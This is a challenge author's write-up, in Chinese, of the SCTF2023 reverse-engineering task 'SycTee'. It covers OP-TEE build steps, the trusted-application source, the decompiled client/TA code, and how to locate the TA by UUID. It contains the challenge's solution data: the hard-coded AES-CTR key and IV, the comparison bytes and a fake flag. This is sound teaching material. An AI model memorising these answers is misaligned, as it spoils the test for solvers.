0%

SCTF2023 逆向 SycTee 出题与解题思路

1.前言

SCTF2023是本年度xctf的第二次分站赛,这是第一次出这样大型的比赛的题,头一次没打xctf,在观赛者的角度来看比赛进程,是另一种体验,一方面担心自己的题目没有人做,另一方面也会担心自己的题目是不是过于简单了。

这次比赛出题时间并不多,因为中间还穿插着一些比赛,所以真正开始出题大概是在比赛开始前2天,通宵两天把题目出完,在晚上9点上题前甚至还在添加一些东西,可能有些师傅会觉得有些脑洞,给师傅们造成了不好的体验,在这给各位师傅磕头了orz。

2.做题情况&题目描述

做题情况:

image-20230619141751294

image-20230619141808893

看到师傅们都在通宵做题,还是很感动的。

题目描述:

image-20230619141825357

3.出题思路

1.TEE和TA

TEE的全称trusted execution environment,它是移动设备(智能手机、平板电脑、智能电视)CPU上的一块区域。这块区域的作用是给数据和代码的执行提供一个更安全的空间,并保证它们的机密性和完整性。TEE提供了一个与REE隔离的环境保存用户的敏感信息,TEE可以直接获取REE的信息,而REE不能获取TEE的信息。

而该题的出题思路就是旨在构建一个tee的系统。

TA(Trusted Application)是TEE中完成特定功能的应用,也叫做可信应用程序。由于TEE中完成计算因此具有较高的安全性。每一个TA在REE中有一个或者多个对应的CA,在REE环境中可以通过调用CA的接口,将信息传送到TEE环境中执行TA,完成对应功能然后返回计算结果。

了解了tee是什么,还应该了解一下一些基本名词:

  • CA(Client APP):对应一些上层应用,通过调用TEE Client API实现与TEE环境的交互。

  • REE Communication Agent:为TA和CA之间的消息传递提供了REE支持

  • TEE Client API:是REE中的TEE驱动程序提供给外部的接口,可以使运行在REE中的CA能够与运行在TEE中的TA交换数据。

  • TEE Communication Agent:是可信操作系统的特殊组成部分,它与REE Communication Agent一起工作,使TA与CA之间安全地传输消息。

  • TEE Internal Core API:是TEE操作系统提供给TA调用的内部接口,包括密码学算法,内存管理等功能。

  • Trusted Device Drivers:可信设备驱动程序,为专用于TEE的可信外设提供通信接口。

  • Shared Memory:是一块只有CA和TA可以访问的一块安全内存,CA和TA通过共享内存来快速有效传输指令和数据

CA与TA交互流程:CA首先调用TEE Client API触发系统调用,进入REE的操作系统内核态,根据CA调用的参数找到对应的REE驱动程序,REE驱动程序通过调用SMC汇编指令进入Monitor模式,并将处理器切换到安全内核状态,进入安全模式。切换进入TEE以后,CA的服务请求通过总线传到TEE侧,然后TEE OS通过TEE Internal API调用对应的TA,最后TA运行结束后将运行结果和数据返回给CA,执行完以后回到TEE内核态调用SMC汇编指令进入Monitor切回REE环境。

其实用更简单的理解就是:应用层输入 -> 内核 -> TA -> 内核 -> 应用层验证结果

2.思路

如果在网上搜,其实这种类型题就在RealWorld上出现过:https://bestwing.me/RWCTF-4th-TrustZone-challenge-Writeup.html这个题他的考点是求被加密的 FEK,类似一个密码题,所以这次出题就换一个思路,原本思路是在optee框架下,build出一个rust的基于arm架构的ta文件,在上一些全局变量,顺便来点动调,把整个optee项目打包出题,不过由于时间问题,并没有完成大部分。在构建系统的时候踩过很多坑,接下来我在介绍的时候会尽量详细介绍,网上可阅读的解决方案实在少之又少。

OPTEE

项目文档:https://optee.readthedocs.io/en/latest/

OP-TEE 是一个可信执行环境 (TEE),旨在与在 Arm 上运行的非安全 Linux 内核配套使用;使用 TrustZone 技术的 Cortex-A 内核。

该项目的构建有两种方法:第一种是用repo直接懒人布置,第二种是手拉文件,逐项布置。

两种方式各有各的坏处,但综合起来第一种方式更好。首先如果选用repo来部署的话,会面临一个被墙的问题,即使在虚拟机里配代理,又或者是在服务器上拉都会遇到很大报错问题。手拉文件也会遇到很多问题,比如optee-client的make会报很多错误,网上并没有很多解决方案。

环境构建:

repo的安装:

1
2
3
4
5
mkdir ~/bin
PATH=~/bin:$PATH
//下载工具并执行
curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo

接下来初始化repo:

1
2
3
cd optee
mkdir optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml --repo-url=https://mirrors.tuna.tsinghua.edu.cn/git/git-repo/ -b 3.18.0

在这里我拉取的是3.18.0版本的optee,而且用qemu_v8平台,建议换源来拉。

在.repo\manifests目录下可以看到qemu_v8.xml配置单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
<remote name="github" fetch="https://github.com" />
<remote name="tfo" fetch="https://git.trustedfirmware.org" />

<default remote="github" revision="master" clone-depth="1"/>

<!-- OP-TEE gits -->
<project path="optee_client" name="OP-TEE/optee_client.git" revision="refs/tags/3.8.0" clone-depth="1" />
<project path="optee_os" name="OP-TEE/optee_os.git" revision="refs/tags/3.8.0" clone-depth="1" />
<project path="optee_test" name="OP-TEE/optee_test.git" revision="refs/tags/3.8.0" clone-depth="1" />
<project path="build" name="OP-TEE/build.git" revision="refs/tags/3.8.0" clone-depth="1">
<linkfile src="qemu_v8.mk" dest="build/Makefile" />
</project>

<!-- linaro-swg gits -->
<project path="linux" name="linaro-swg/linux.git" revision="9823b258b332b4ac98e05fa23448bbc9e937b24c" clone-depth="1" />
<project path="optee_benchmark" name="linaro-swg/optee_benchmark.git" revision="refs/tags/3.8.0" clone-depth="1"/>
<project path="optee_examples" name="linaro-swg/optee_examples.git" revision="refs/tags/3.8.0" clone-depth="1" />
<project path="soc_term" name="linaro-swg/soc_term.git" revision="5493a6e7c264536f5ca63fe7511e5eed991e4f20" clone-depth="1" />

<!-- Misc gits -->
<project path="buildroot" name="buildroot/buildroot.git" revision="95942f5fcd35d783a49adce621ccf33480f1c88c" clone-depth="1" />
<project path="edk2" name="tianocore/edk2.git" revision="dd4cae4d82c7477273f3da455084844db5cca0c0" clone-depth="1" />
<project path="mbedtls" name="ARMmbed/mbedtls.git" revision="refs/tags/mbedtls-2.16.0" clone-depth="1" />
<project path="qemu" name="qemu/qemu.git" revision="refs/tags/v3.1.0-rc3" clone-depth="1" />
<project path="trusted-firmware-a" name="TF-A/trusted-firmware-a.git" revision="34efb683e32254b8c325ac3071c5776d243a7b99" remote="tfo" />
</manifest>

接下来就是要下载配置单的过程:

1
2
//-j是开启多线程, 不加也可以
repo sync -j8

在下载前呢,需要设置代理,这样更快,或者在qemu_v8清单中的revision后加上clone-depth=”1”,或者:

1
2
//将配置单换成.git速度更快
sed -i "s/\.git//g" .repo/manifest.xml

最后别忘了代理:

1
2
3
export https_proxy=http://127.0.0.1:7890 
http_proxy=http://127.0.0.1:7890
all_proxy=socks5://127.0.0.1:7890

不过经过测验,这个拉取也是需要时间的,不管用服务器还是设代理有时候照样拉不了,多尝试几次就可以拉了,我是下午的时候拉成功的。

构建完的目录如下:

image-20230619164151741

optee_example和optee_rust目录都是可以自己创建ta程序

如果某些文件实在拉不下来,就手拉,从qemu-v8里找,一个一个拉,但版本要一定。

接下来获取工具链:

1
2
cd build
make toolchains

实在不能获取,就只能手拉下载,解压即可

然后在build目录下:

1
make

之后能得到/out/bin文件夹下就是启动文件,设置run.sh启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

qemu-system-aarch64 \
-nographic \
-smp 2 \
-machine virt,secure=on,gic-version=3,virtualization=false \
-cpu cortex-a57 \
-d unimp -semihosting-config enable=on,target=native \
-m 1024 \
-bios bl1.bin \
-initrd rootfs.cpio.gz \
-kernel Image -no-acpi \
-append console="ttyAMA0,38400 keep_bootcon root=/dev/vda2 -object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000" \
-no-reboot \
-monitor null



接下来是编译rust,在optee_rust里有许多测试用例:

1
(cd build && make toolchains && make OPTEE_RUST_ENABLE=y CFG_TEE_RAM_VA_SIZE=0x00300000)

不过当时编译了一天一直报错,首先是helloworld-rs有错误,删除之后再编译就会出现缺少glibc库,解决方案还没有思路,不过应该要看一下makefile是怎么做的。

源码:

bj666将数据全部存储在了ta文件中,不需要host的main进行传输数据,用了rc4,输入key就能得到right。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static TEE_Result www(uint32_t param_types,
TEE_Param params[4])
{
uint32_t exp_param_types = TEE_PARAM_TYPES(TEE_PARAM_TYPE_MEMREF_INOUT,
TEE_PARAM_TYPE_NONE,
TEE_PARAM_TYPE_NONE,
TEE_PARAM_TYPE_NONE);

//who需要爆破
const char *who = (const char *)(params[0].memref.buffer);
const size_t GREETING_LEN = strlen(who);
if (param_types != exp_param_types)
return TEE_ERROR_BAD_PARAMETERS;
char *buf = TEE_Malloc(strlen(who) + GREETING_LEN + 1, 0);

if (!buf)
{
return TEE_ERROR_OUT_OF_MEMORY;
}
int data[34] = {0x73,0x63,0x74,0x66,0x7b,0x54,0x65,0x33,0x26,0x54,0x41,0x5f,0x69,0x73,0x5f,0x73,0x61,0x66,0x33,0x5f,0x62,0x75,0x74,0x5f,0x46,0x41,0x4b,0x45,0x5f,0x46,0x4c,0x41,0x47,0x7d};
enc_dec(who,data);
int cmp[34] = {0x8e,0xd6,0x93,0x67,0x84,0xce,0xd2,0x7d,0xcb,0x9a,0xb7,0xa8,0x65,0xe6,0x97,0x80,0x63,0x26,0x74,0x7c,0xdf,0xcd,0x3a,0x8b,0x9f,0x38,0x9e,0x9f,0x7a,0xd4,0x9d,0xfe,0x36,0x88};
for(int i = 0; i < strlen(data); i++){
if(cmp[i] != data[i])
{
sprintf(buf, "wrong %s", who);
params[0].memref.size = strlen(buf) + 1;
TEE_MemMove(params[0].memref.buffer, buf, params[0].memref.size);
TEE_Free(buf);
return TEE_ERROR_BAD_PARAMETERS;
}
}
char *buf1 = TEE_Malloc(strlen(who) + GREETING_LEN + 1, 0);
sprintf(buf1, "right but it is a test ^_^%s", who);
params[0].memref.size = strlen(buf1) + 1;
TEE_MemMove(params[0].memref.buffer, buf1, params[0].memref.size);
TEE_Free(buf1);
return TEE_SUCCESS;
}

重点是bj888文件,采取了魔改原有aes的方法:

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
/*
* Copyright (c) 2017, Linaro Limited
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/

#include <err.h>
#include <stdio.h>
#include <string.h>

/* OP-TEE TEE client API (built by optee_client) */
#include <tee_client_api.h>

/* For the UUID (found in the TA's h-file(s)) */
#include <bj888_ta.h>

#define BJ888_TEST_BUFFER_SIZE 4096
#define BJ888_TEST_KEY_SIZE 16
#define BJ888_BLOCK_SIZE 16

#define DECODE 0
#define ENCODE 1

/* TEE resources */
struct test_ctx {
TEEC_Context ctx;
TEEC_Session sess;
};

void prepare_tee_session(struct test_ctx *ctx)
{
TEEC_UUID uuid = TA_BJ888_UUID;
uint32_t origin;
TEEC_Result res;

/* Initialize a context connecting us to the TEE */
res = TEEC_InitializeContext(NULL, &ctx->ctx);
if (res != TEEC_SUCCESS)
errx(1, "TEEC failed with code 0x%x", res);

/* Open a session with the TA */
res = TEEC_OpenSession(&ctx->ctx, &ctx->sess, &uuid,
TEEC_LOGIN_PUBLIC, NULL, NULL, &origin);
if (res != TEEC_SUCCESS)
errx(1, "TEEC failed with code 0x%x origin 0x%x",
res, origin);
}

void terminate_tee_session(struct test_ctx *ctx)
{
TEEC_CloseSession(&ctx->sess);
TEEC_FinalizeContext(&ctx->ctx);
}

void prepare_bj888(struct test_ctx *ctx, int encode)
{
TEEC_Operation op;
uint32_t origin;
TEEC_Result res;

memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_INPUT,
TEEC_VALUE_INPUT,
TEEC_VALUE_INPUT,
TEEC_NONE);

op.params[0].value.a = TA_BJ888_ALGO_CTR;
op.params[1].value.a = TA_BJ888_SIZE_128BIT;
op.params[2].value.a = encode ? TA_BJ888_MODE_ENCODE :
TA_BJ888_MODE_DECODE;

res = TEEC_InvokeCommand(&ctx->sess, TA_BJ888_CMD_PREPARE,
&op, &origin);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InvokeCommand failed 0x%x origin 0x%x",
res, origin);
}

void set_key(struct test_ctx *ctx, char *key, size_t key_sz)
{
TEEC_Operation op;
uint32_t origin;
TEEC_Result res;

memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT,
TEEC_NONE, TEEC_NONE, TEEC_NONE);

op.params[0].tmpref.buffer = key;
op.params[0].tmpref.size = key_sz;

res = TEEC_InvokeCommand(&ctx->sess, TA_BJ888_CMD_SET_KEY,
&op, &origin);
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InvokeCommand failed 0x%x origin 0x%x",
res, origin);
}

void set_iv(struct test_ctx *ctx, char *iv, size_t iv_sz)
{
TEEC_Operation op;
uint32_t origin;
TEEC_Result res;

memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT,
TEEC_NONE, TEEC_NONE, TEEC_NONE);
op.params[0].tmpref.buffer = iv;
op.params[0].tmpref.size = iv_sz;

res = TEEC_InvokeCommand(&ctx->sess, TA_BJ888_CMD_SET_IV,
&op, &origin);
/*
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InvokeCommand failed 0x%x origin 0x%x",
res, origin);
*/
}

void cipher_buffer(struct test_ctx *ctx, char *in, char *out, size_t sz)
{
TEEC_Operation op;
uint32_t origin;
TEEC_Result res;

memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT,
TEEC_MEMREF_TEMP_OUTPUT,
TEEC_NONE, TEEC_NONE);
op.params[0].tmpref.buffer = in;
op.params[0].tmpref.size = sz;
op.params[1].tmpref.buffer = out;
op.params[1].tmpref.size = sz;

res = TEEC_InvokeCommand(&ctx->sess, TA_BJ888_CMD_CIPHER,
&op, &origin);
/*
if (res != TEEC_SUCCESS)
errx(1, "TEEC_InvokeCommand failed 0x%x origin 0x%x",
res, origin);
*/
//const char *g = (const char*)(op.params[1].tmpref.buffer);
//for(int i = 0; i < 32; i++){
//printf("%02x",g[i]);
// }
const char *greeting = (const char *)(op.params[0].tmpref.buffer);
printf("%s\n",greeting);
}

int main(int argc, char *argv[])
{
struct test_ctx ctx;
char key[BJ888_TEST_KEY_SIZE] = "snbjklefsdcvfsyc";
char iv[BJ888_BLOCK_SIZE] = "snbjklefsdcvfsyc";
char clear[BJ888_TEST_BUFFER_SIZE];
char ciph[BJ888_TEST_BUFFER_SIZE];
char temp[BJ888_TEST_BUFFER_SIZE];
for( int i = 0; i < strlen(argv[1]); i++){
clear[i] = argv[1][i];
}
if(strlen(argv[1]) != 27){
printf("wrong\n");
exit(1);
}
//printf("%s\n",clear);
//printf("Prepare session with the TA\n");
prepare_tee_session(&ctx);

//printf("Prepare encode operation\n");
prepare_bj888(&ctx, ENCODE);

//printf("Load key in TA\n");
//memset(key, 0xa5, sizeof(key)); /* Load some dummy value */
set_key(&ctx, key, BJ888_TEST_KEY_SIZE);
//printf("key:::%02x,%02x,%02x\n",key[0],key[1],key[15]);

//printf("Reset ciphering operation in TA (provides the initial vector)\n");
//memset(iv, 0, sizeof(iv)); /* Load some dummy value */
set_iv(&ctx, iv, BJ888_BLOCK_SIZE);
//printf("iv:::%02x,%02x,%02x\n",iv[0],iv[1],iv[15]);

//memset(clear, 0x5a, sizeof(clear)); /* Load some dummy value */
cipher_buffer(&ctx, clear, ciph, BJ888_TEST_BUFFER_SIZE);

terminate_tee_session(&ctx);
return 0;
}


bj888.ta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
/*
* Copyright (c) 2017, Linaro Limited
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <inttypes.h>
#include<string.h>
#include <tee_internal_api.h>
#include <tee_internal_api_extensions.h>

#include <bj888_ta.h>

#define BJ888128_KEY_BIT_SIZE 128
#define BJ888128_KEY_BYTE_SIZE (BJ888128_KEY_BIT_SIZE / 8)
#define BJ888256_KEY_BIT_SIZE 256
#define BJ888256_KEY_BYTE_SIZE (BJ888256_KEY_BIT_SIZE / 8)


static TEE_Result set_bj888_key(void *session, uint32_t param_types,
TEE_Param params[4])
{
const uint32_t exp_param_types =
TEE_PARAM_TYPES(TEE_PARAM_TYPE_MEMREF_INPUT,
TEE_PARAM_TYPE_NONE,
TEE_PARAM_TYPE_NONE,
TEE_PARAM_TYPE_NONE);
struct bj888_cipher *sess;
TEE_Attribute attr;
TEE_Result res;
uint32_t key_sz1;
char *key1;

/* Get ciphering context from session ID */
DMSG("Session %p: load ", session);
sess = (struct bj888_cipher *)session;

/* Safely get the invocation parameters */
if (param_types != exp_param_types)
return TEE_ERROR_BAD_PARAMETERS;

key1 = params[0].memref.buffer;
key_sz1 = params[0].memref.size;

if (key_sz1 != sess->key_size) {
EMSG("Wrong size %" PRIu32 ", expect %" PRIu32 " bytes",
key_sz1, sess->key_size);
return TEE_ERROR_BAD_PARAMETERS;
}

/*
* Load the key material into the configured operation
* - create a secret key attribute with the key material
* TEE_InitRefAttribute()
* - reset transient object and load attribute data
* TEE_ResetTransientObject()
* TEE_PopulateTransientObject()
* - load the key (transient object) into the ciphering operation
* TEE_SetOperationKey()
*
* TEE_SetOperationKey() requires operation to be in "initial state".
* We can use TEE_ResetOperation() to reset the operation but this
* API cannot be used on operation with key(s) not yet set. Hence,
* when allocating the operation handle, we load a dummy key.
* Thus, set_key sequence always reset then set key on operation.
*/
//bj888默认一个key
//char *key = "snbjklefsdcvfsyc";
//uint32_t key_sz = 16;
TEE_InitRefAttribute(&attr, TEE_ATTR_SECRET_VALUE, key1, key_sz1);

TEE_ResetTransientObject(sess->key_handle);
res = TEE_PopulateTransientObject(sess->key_handle, &attr, 1);
if (res != TEE_SUCCESS) {
EMSG("TEE failed, %x", res);
return res;
}

TEE_ResetOperation(sess->op_handle);
res = TEE_SetOperationKey(sess->op_handle, sess->key_handle);
if (res != TEE_SUCCESS) {
EMSG("TEE failed %x", res);
return res;
}

return res;
}

/*
* Process command TA_BJ888_CMD_SET_IV. API in bj888_ta.h
*/
static TEE_Result reset_bj888_iv(void *session, uint32_t param_types,
TEE_Param params[4])
{
const uint32_t exp_param_types =
TEE_PARAM_TYPES(TEE_PARAM_TYPE_MEMREF_INPUT,
TEE_PARAM_TYPE_NONE,
TEE_PARAM_TYPE_NONE,
TEE_PARAM_TYPE_NONE);
struct bj888_cipher *sess;
size_t iv_sz1;
char *iv1;

/* Get ciphering context from session ID */
DMSG("Session %p: no hint", session);
sess = (struct bj888_cipher *)session;

/* Safely get the invocation parameters */
if (param_types != exp_param_types)
return TEE_ERROR_BAD_PARAMETERS;

iv1 = params[0].memref.buffer;
iv_sz1 = params[0].memref.size;

/*
* Init cipher operation with the initialization vector.
*/
//char *iv = "snbjklefsdcvfsyc";
//uint32_t iv_sz = 16;
TEE_CipherInit(sess->op_handle, iv1, iv_sz1);

return TEE_SUCCESS;
}

/*
* Process command TA_BJ888_CMD_CIPHER. API in bj888_ta.h
*/
static TEE_Result cipher_buffer(void *session, uint32_t param_types,
TEE_Param params[4])
{
const uint32_t exp_param_types =
TEE_PARAM_TYPES(TEE_PARAM_TYPE_MEMREF_INPUT,
TEE_PARAM_TYPE_MEMREF_OUTPUT,
TEE_PARAM_TYPE_NONE,
TEE_PARAM_TYPE_NONE);
struct bj888_cipher *sess;

/* Get ciphering context from session ID */
DMSG("Session %p: no hints", session);
sess = (struct bj888_cipher *)session;

/* Safely get the invocation parameters */
if (param_types != exp_param_types)
return TEE_ERROR_BAD_PARAMETERS;

if (params[1].memref.size < params[0].memref.size) {
EMSG("Bad sizes: in %d, out %d", params[0].memref.size,
params[1].memref.size);
return TEE_ERROR_BAD_PARAMETERS;
}

if (sess->op_handle == TEE_HANDLE_NULL)
return TEE_ERROR_BAD_STATE;
const char *cipher = (const char *)(params[0].memref.buffer);
const size_t cipher_len = strlen(cipher);
/*
* Process ciphering operation on provided buffers
*/
TEE_CipherUpdate(sess->op_handle,
params[0].memref.buffer, params[0].memref.size,
params[1].memref.buffer, &params[1].memref.size);
const char *en = (const char *)(params[1].memref.buffer);
const size_t en_len = 27;
//char cmp[] = {0x20,0x0b,0x1c,0xff,0xc5,0xa4,0x0a,0xfe,0x31,0x10,0x9d,0x67,0xfe,0xf5,0x60,0xa9,0x9e,0xc6,0x44,0x93,0x36,0xa4,0xfd,0xe9,0x37,0x9d,0x07,0xf1,0x50,0xcc,0x84,0x95};
char cmp[27] = {0x25,0x03,0x0a,0x6c,0xf8,0xb1,0xce,0x7f,0xc9,0x42,0x0c,0x0d,0x68,0xb3,0x1c,0x04,0x64,0xfa,0xe5,0xa4,0x22,0xd4,0x2c,0xff,0x4e,0x36,0x2a};
for(int i = 0; i < 27; i++){
if(cmp[i] != en[i])
{
char *buf = "wrong";
TEE_MemMove(params[0].memref.buffer, buf, 6);
TEE_Free(buf);
return TEE_ERROR_BAD_PARAMETERS;
}
}
char *buf1 = "right";
TEE_MemMove(params[0].memref.buffer, buf1, 6);
TEE_Free(buf1);
return TEE_SUCCESS;
}

该加密是aes的ctr加密。

4.解题思路:

本题采用optee项目,项目文档地址:https://optee.readthedocs.io/en/latest/

该题采用arm架构,意在找出系统中关键加密文件,从而拿到flag

文件目录:

6

运行run.sh

5

输入test进入测试,或者root进入系统,主要关注/usr/bin下可执行程序,由于optee环境中optee_example_*开头文件是源项目optee_expample文件夹下所编译文件,再对比源库,甚至可以从名字看出optee_example_bj666,optee_example_bj777,optee_example_bj888这写文件是后来写的文件

4

其实每一个文件都是有深意的,如果仔细看过optee_example_bj666代码,其实只需要找到ta文件就能逆向,而optee_example_bj777文件,是通过ca向ta传入key才可以逆向。上述两个文件也就演示了一些可信文件的基本操作。

3

找到可疑ca文件后,如何定位到ta文件也是考点之一,ta文件在/lib/optee_armtz目录下,以uuid开头,两种方法定位到对应uuid,第一种可以遍历目录下文件,查看字符串(如文件名bj777或者wrong)这种关键字符串。第二种通过strace可以轻松拿到对应ta文件的uuid:

1
2
3
bj666: 4194350e-9204-4348-ac59-ace9f0c055af
bj777: 372b9188-934f-469b-9bd3-124463c650bd
bj888:045ccc45-ee83-43ec-b69f-121819c1ba6b

从上述分析,我们只需要看bj888文件即可,先看ca文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall sub_A30(__int64 a1, __int64 a2)
{
size_t v2; // x19
const char *v3; // x21
size_t v4; // x0
char v6[24]; // [xsp+30h] [xbp-2040h] BYREF
__int64 v7[4]; // [xsp+48h] [xbp-2028h] BYREF
char v8[4096]; // [xsp+68h] [xbp-2008h] BYREF
__int64 v9; // [xsp+1068h] [xbp-1008h] BYREF

v2 = 0LL;
v3 = *(const char **)(a2 + 8);
qmemcpy(v7, "snbjklefsdcvfsycsnbjklefsdcvfsyc", sizeof(v7));
while ( 1 )
{
v4 = strlen(v3);
if ( v4 <= v2 )
break;
v8[v2] = v3[v2];
++v2;
}
if ( v4 != 27 )
{
puts("wrong");
exit(1);
}
sub_C64(v6);
sub_D64(v6, 1LL);
sub_E14(v6, v7, 16LL);
sub_EB8(v6, &v7[2], 16LL);
sub_F40(v6, v8, &v9, 4096LL);
sub_D3C(v6);
return 0LL;
}

该main函数向ta文件传了一个字符串,并且判断字符串长度是否为27

接下来是045ccc45-ee83-43ec-b69f-121819c1ba6b.ta文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
__int64 __fastcall sub_1DC(int *a1, unsigned int a2, int a3, _QWORD *a4)
{
int v7; // w5
unsigned __int16 v8; // w0
int v9; // w5
int v10; // w5
unsigned int v11; // w19
__int64 v12; // x0
__int64 v14; // x2
unsigned int v15; // w3
unsigned int v16; // w0
unsigned int v17; // w0
unsigned int v18; // w2
__int64 v19; // x0
__int64 v20; // x20
__int64 v21; // x3
__int64 i; // x0
char v23[32]; // [xsp+40h] [xbp+40h] BYREF

switch ( a2 )
{
case 0u:
sub_930("alloc_resources", 124LL, 3LL, 1LL, "Session %p:", a1);
if ( a3 != 273 )
return (unsigned int)-65530;
v7 = *(_DWORD *)a4;
if ( *(_DWORD *)a4 == 1 )
{
v8 = 272;
}
else if ( v7 == 2 )
{
v8 = 528;
}
else
{
if ( v7 )
{
sub_930("ta2tee_algo_id", 70LL, 1LL, 1LL, "Invalid %u");
return (unsigned int)-65530;
}
v8 = 16;
}
*a1 = v8 | 0x10000000;
v9 = *((_DWORD *)a4 + 4);
if ( v9 != 16 && v9 != 32 )
{
sub_930("ta2tee_key_size", 82LL, 1LL, 1LL, "Invalid %u");
return (unsigned int)-65530;
}
a1[2] = v9;
v10 = *((_DWORD *)a4 + 8);
if ( v10 )
{
if ( v10 != 1 )
{
sub_930("ta2tee_mode_id", 96LL, 1LL, 1LL, "Invalid mode %u");
